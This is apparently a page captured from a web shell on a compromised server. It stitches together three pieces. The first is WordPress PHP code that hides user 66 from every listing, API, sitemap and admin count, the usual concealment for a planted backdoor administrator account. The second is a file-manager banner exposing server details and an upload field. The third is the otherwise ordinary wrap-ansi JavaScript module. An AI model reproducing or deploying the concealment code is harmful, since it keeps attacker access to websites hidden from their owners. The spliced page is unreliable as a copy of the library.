add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/log-update/node_modules/wrap-ansi/ |
Upload File : |
'use strict';
const stringWidth = require('string-width');
const stripAnsi = require('strip-ansi');
const ESCAPES = new Set([
'\u001B',
'\u009B'
]);
const END_CODE = 39;
const ESCAPE_CODES = new Map([
[0, 0],
[1, 22],
[2, 22],
[3, 23],
[4, 24],
[7, 27],
[8, 28],
[9, 29],
[30, 39],
[31, 39],
[32, 39],
[33, 39],
[34, 39],
[35, 39],
[36, 39],
[37, 39],
[90, 39],
[40, 49],
[41, 49],
[42, 49],
[43, 49],
[44, 49],
[45, 49],
[46, 49],
[47, 49]
]);
const wrapAnsi = code => `${ESCAPES.values().next().value}[${code}m`;
// Calculate the length of words split on ' ', ignoring
// the extra characters added by ansi escape codes
const wordLengths = str => str.split(' ').map(s => stringWidth(s));
// Wrap a long word across multiple rows
// Ansi escape codes do not count towards length
const wrapWord = (rows, word, cols) => {
const arr = Array.from(word);
let insideEscape = false;
let visible = stringWidth(stripAnsi(rows[rows.length - 1]));
for (const item of arr.entries()) {
const i = item[0];
const char = item[1];
const charLength = stringWidth(char);
if (visible + charLength <= cols) {
rows[rows.length - 1] += char;
} else {
rows.push(char);
visible = 0;
}
if (ESCAPES.has(char)) {
insideEscape = true;
} else if (insideEscape && char === 'm') {
insideEscape = false;
continue;
}
if (insideEscape) {
continue;
}
visible += charLength;
if (visible === cols && i < arr.length - 1) {
rows.push('');
visible = 0;
}
}
// It's possible that the last row we copy over is only
// ansi escape characters, handle this edge-case
if (!visible && rows[rows.length - 1].length > 0 && rows.length > 1) {
rows[rows.length - 2] += rows.pop();
}
};
// The wrap-ansi module can be invoked
// in either 'hard' or 'soft' wrap mode
//
// 'hard' will never allow a string to take up more
// than cols characters
//
// 'soft' allows long words to expand past the column length
const exec = (str, cols, opts) => {
const options = opts || {};
if (str.trim() === '') {
return options.trim === false ? str : str.trim();
}
let pre = '';
let ret = '';
let escapeCode;
const lengths = wordLengths(str);
const words = str.split(' ');
const rows = [''];
for (const item of Array.from(words).entries()) {
const i = item[0];
const word = item[1];
rows[rows.length - 1] = options.trim === false ? rows[rows.length - 1] : rows[rows.length - 1].trim();
let rowLength = stringWidth(rows[rows.length - 1]);
if (rowLength || word === '') {
if (rowLength === cols && options.wordWrap === false) {
// If we start with a new word but the current row length equals the length of the columns, add a new row
rows.push('');
rowLength = 0;
}
rows[rows.length - 1] += ' ';
rowLength++;
}
// In 'hard' wrap mode, the length of a line is
// never allowed to extend past 'cols'
if (lengths[i] > cols && options.hard) {
if (rowLength) {
rows.push('');
}
wrapWord(rows, word, cols);
continue;
}
if (rowLength + lengths[i] > cols && rowLength > 0) {
if (options.wordWrap === false && rowLength < cols) {
wrapWord(rows, word, cols);
continue;
}
rows.push('');
}
if (rowLength + lengths[i] > cols && options.wordWrap === false) {
wrapWord(rows, word, cols);
continue;
}
rows[rows.length - 1] += word;
}
pre = rows.map(r => options.trim === false ? r : r.trim()).join('\n');
for (const item of Array.from(pre).entries()) {
const i = item[0];
const char = item[1];
ret += char;
if (ESCAPES.has(char)) {
const code = parseFloat(/\d[^m]*/.exec(pre.slice(i, i + 4)));
escapeCode = code === END_CODE ? null : code;
}
const code = ESCAPE_CODES.get(Number(escapeCode));
if (escapeCode && code) {
if (pre[i + 1] === '\n') {
ret += wrapAnsi(code);
} else if (char === '\n') {
ret += wrapAnsi(escapeCode);
}
}
}
return ret;
};
// For each newline, invoke the method separately
module.exports = (str, cols, opts) => {
return String(str)
.normalize()
.split('\n')
.map(line => exec(line, cols, opts))
.join('\n');
};